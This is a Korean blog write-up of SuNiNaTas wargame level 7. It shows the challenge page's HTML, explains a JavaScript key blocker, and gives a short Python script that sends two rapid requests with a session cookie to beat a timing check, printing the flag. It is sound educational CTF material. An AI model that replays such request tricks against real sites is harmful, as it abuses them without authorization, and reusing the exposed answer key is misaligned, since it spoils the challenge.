Write-up

[SuNiNaTas] level 7

ch4rli3kop 2019. 4. 13. 21:50
반응형

Suninatas level 7

keyword : faster!, IU

귀여운 아이유가 나온다. 아이유 카와이이이ㅣㅣ 근데 사진이 너무 큰 거 같다. 여러 의미로 심쿵할뻔

<form method="post" action="./web07_1.asp" name="frm">
<div align="center"><input type="button" name="main_btn" value="main" style="width:60" onclick="location.href='/main/main.asp'">&nbsp&nbsp&nbsp
<input type="button" name="main_btn" value="Back" style="width:60" onclick="history.back()"></div>
<div align="center"><input type="hidden" name="web07" value="Do U Like girls?" ></div>
<div align="center"><img src="./iu.gif" width="700" height="1000" name="iu"></div>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<div align="center"><input type="submit" value="YES"></div>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<div align="center"><img src="./yoona.gif" width="700" height="1000" name="yoona"></div>
</form>
<!-- Hint : Faster and Faster -->
<!-- M@de by 2theT0P -->

br로 도배해놨다. ㅎㄷㄷ Hint를 봐서나 아래의 web07_1.asp를 봤을 때, 이 문제의 아이디어는 web07.asp를 요청한 뒤 빠르게 yes 버튼을 눌러 web07_1.asp를 요청하는 게 핵심인 것 같다.

        <script language="javascript">
alert("Wrong way!");
document.location.href='./web07.asp';
</script>

<script language="javascript">
alert("Fail..Your too slow");
location.href="web07.asp";
</script>

막 새로고침해서 빠르게 하는 거는 다음의 코드로 인해 불가능하다.

function noEvent() {
if ( event.keyCode == 116 || event.keyCode == 9)
{
alert('No!');
return false;
}
else if(event.ctrlKey && (event.keyCode =78 || event.keyCode == 82))
{
return false;
}
}
document.onkeydown = noEvent;

대충 느낌상 알 수 있듯이 event.keyCode는 사용자 키보드 입력을 했을 때, 해당 하는 값의 key code 값을 나타내는 역할을 한다. 116 = F5, 9 = TAB, ctrl && 78 = ctrl + N, ctrl && 82 = ctrl + R로 매핑된다. document.onkeydown = noEvent 이므로 키를 눌렀을 때 이벤트가 발생하고 문자가 입력된다. return false로 되어있으므로 해당하는 키들에 대한 입력은 무시된다는 것이다.

뭐 특정 키만 막기 때문에 다른 키로 새로고침을 하던가 하는 꼼수를 써도 되겠지만, 그냥 코드짜서 바로 두 개의 요청을 날리면 된다. 우선 로그인한 사용자의 쿠키값을 등록시켜줘야 하고, web07.asp에 대한 요청은 GET이고 web07_1.asp에 대한 요청은 POST이기 때문에, POST의 경우 body content를 담아줘야 한다. fiddler로 보니 web07=Do+U+Like+girls%3F 를 보내더라. 디폴트가 GET이고 추가로 두 번째 인자를 넣어주면 POST로 되는 것 같다.

import urllib.request

target1 = 'http://suninatas.com/Part_one/web07/web07.asp'
target2 = 'http://suninatas.com/Part_one/web07/web07_1.asp'

data1 = urllib.request.Request(target1)
data1.add_header("Cookie","ASPSESSIONIDCSAARTSC=KELNKLFBEBIHLHILKGKJNOBN; auth%5Fkey=%3F%3F%3F%3F%3F")

data2 = urllib.request.Request(target2)
data2.add_header("Cookie","ASPSESSIONIDCSAARTSC=KELNKLFBEBIHLHILKGKJNOBN; auth%5Fkey=%3F%3F%3F%3F%3F")

resp1 = urllib.request.urlopen(data1).read()
resp2 = urllib.request.urlopen(data2, 'web07=Do+U+Like+girls%3F'.encode('utf-8')).read()

print(resp2)

'''
b'\r\n\t<script language="javascript">\r\n\t\talert("Congratulation!");\r\n\t</script>\r\n\tAuthkey : G0Od d@y'

다른 방법으로는 Fiddler에서 두 request를 선택한 뒤 replay 기능을 이용하여 마구 거의 동시에 날려주면 받을 수 있음!

또 다른 사람들 풀이 좀 살펴보니까 개발자 도구에서 location.href = "http://suninatas.com/Part_one/web07/web07.asp" 요거 입력해서 새로고침 대신하고, 바로 frm.submit() 을 실행해서 yes 누른 것처럼 하는 방법도 있더라. frm은 저 submit을 포함하는 form 태그의 name 속성 값임.


반응형

'Write-up' 카테고리의 다른 글

[SuNiNaTas] level 22  (0) 2019.04.13
[SuNiNaTas] level 8  (0) 2019.04.13
[SuNiNaTas] level 6  (1) 2019.04.13
[SuNiNaTas] level 5  (0) 2019.04.13
[SuNiNaTas] level 4  (0) 2019.04.13